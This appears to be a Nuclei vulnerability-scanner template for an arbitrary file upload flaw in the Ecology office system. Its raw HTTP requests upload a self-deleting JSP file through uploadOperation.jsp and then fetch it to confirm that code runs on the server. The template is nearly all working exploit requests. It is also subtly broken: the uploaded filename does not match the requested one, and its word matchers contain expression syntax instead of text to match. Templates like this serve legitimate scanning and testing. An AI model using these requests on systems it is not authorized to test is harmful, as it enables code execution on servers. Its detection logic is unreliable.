id: ecology-arbitrary-file-upload

info:
  name: Ecology Arbitrary File Upload
  author: ritikchaddha
  severity: medium
  reference:
    - https://mp.weixin.qq.com/s/wH5luLISE_G381W2ssv93g
  tags: ecology,upload,fileupload,intrusive

requests:
  - raw:
      - |
        POST /page/exportImport/uploadOperation.jsp HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFy3iNVBftjP6IOwo

        ------WebKitFormBoundaryFy3iNVBftjP6IOwo
        Content-Disposition: form-data; name="file"; filename="12.jsp"
        Content-Type: application/octet-stream

        <%out.print(364536*876356);new java.io.File(application.getRealPath(request.getServletPath())).delete();%>
        ------WebKitFormBoundaryFy3iNVBftjP6IOwo--
      - |
        GET /page/exportImport/fileTransfer/{{randstr}}.jsp HTTP/1.1
        Host: {{Hostname}}

    req-condition: true
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "status_code_1 == 200"
          - "contains(body_2, '319463310816') || status_code_2 == 200"
        condition: and